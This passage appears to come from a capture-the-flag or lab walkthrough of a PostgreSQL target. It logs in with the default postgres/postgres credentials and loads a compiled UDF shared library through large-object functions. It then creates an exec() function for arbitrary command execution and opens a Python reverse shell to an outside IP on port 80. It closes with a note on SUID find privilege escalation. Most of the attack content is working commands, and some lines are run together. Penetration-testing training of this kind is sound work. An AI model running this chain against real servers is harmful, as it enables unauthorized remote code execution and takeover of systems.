We know the default username is
postgres. Trying the password postgres, we authenticate successfully.
Note that we are a privileged account, with the Superuser role.
Exploitation
Compile the shared library:
gcc lib_postgresqlugcc lib_postgresqludf_sys.c -I server -fPIC -shared -o udf64.soGenerate the
.psql payload:1
xxd -p udf64.so | tee udf.txt
2
x=0
3
while read line; do echo "select lo_put(PLACEHOLDER, $x, '\\\x$line');" >> u.psql; x=$((x+30)); done < udf.txt
Copied!
Create and get the ID of the object:
Replace PLACEHOLDER in
u.psql with 16385.
Deliver the payload:
psql -h 192.168.163.47 -p 5437 -U postgres -d postgres -f u.psqlselect lo_export(16385, '/tmp/exploit.so');
create or replace function exec(char) returns char as '/tmp/exploit.so','sys_eval' language c strict;
At this point we have created a function that allows us to execute arbitrary commands.
Verify Python is installed:
select exec('which python');
Note: the only port that works is port 80. Since the web application would be communicating with the PostgreSQL service through port 80, port 80 is likely whitelisted.

select exec('python -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.163",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")''');
Copied!
Privilege Escalation
We can use LinPEAS to enumerate.
We see that the
find binary has the SUID bit set.We can leverage this to run
/bin/sh with elevated privileges.
